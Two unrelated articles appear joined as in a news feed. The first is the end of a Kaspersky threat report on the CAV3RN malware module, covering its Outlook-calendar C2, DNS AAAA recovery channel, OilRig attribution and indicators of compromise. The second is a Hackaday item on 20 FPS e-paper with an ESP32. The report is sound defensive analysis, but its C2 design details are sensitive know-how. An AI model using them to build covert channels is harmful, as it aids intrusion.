In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.

The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypotheses because the backend was unavailable and the module handles every sentinel response in the same way.

Infrastructure

Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.

Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.

The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.

The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.

Attribution

In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.

Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.

Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.

OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.

Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.

Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.

Conclusions

The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.

The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CAF021DDA726B8BA049C2AA395E505A1 AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806 NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678 AzureCommunication.dll

Domains and IPs

cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205

securelist.com/project-cav3rn-…

If electronic paper displays have one downside, it’s generally refresh rate. Earlier versions of the tech might only have been able to do single-digit frames per second, while modern, mid-range devices can sometimes manage 10-20 FPS — and that’s not including the frames needed to blank the display. Getting up past that double-digit barrier typically requires higher-end displays, more powerful processors or FPGAs, and more money. On the other hand, [Tony] was recently able to get 20 FPS out of an ESP32-based device without using any extra processing power.

The key to improving e-paper performance is understanding how the display actually works. The “ink” consists of microscopic charged pigment particles that physically move in response to electric fields, making the display much slower than LCD or OLED panels. Rather than fully erasing and redrawing every frame, the software takes advantage of the particles’ existing state by generating optimized driving waveforms that only move the particles needed to produce the next image. On the software side, an MPEG-like encoding is used so only changes between frames are transmitted and converted into these waveforms, reducing unnecessary data transfers and allowing much higher frame rates.

Tony’s method is able to drive 960×540 panels, like those found in the Lilygo or M5PaperS3, to 20 FPS, and these platforms are based on nothing more than the capable but limited ESP32 chip. It’s an impressive push, and worth checking out the video in the linked project page. We assume you’d need a little more to drive something like the massive e-paper display found in this home automation setup, though.

youtube.com/embed/vQrP-orQatY?…

hackaday.com/2026/07/21/20-fps…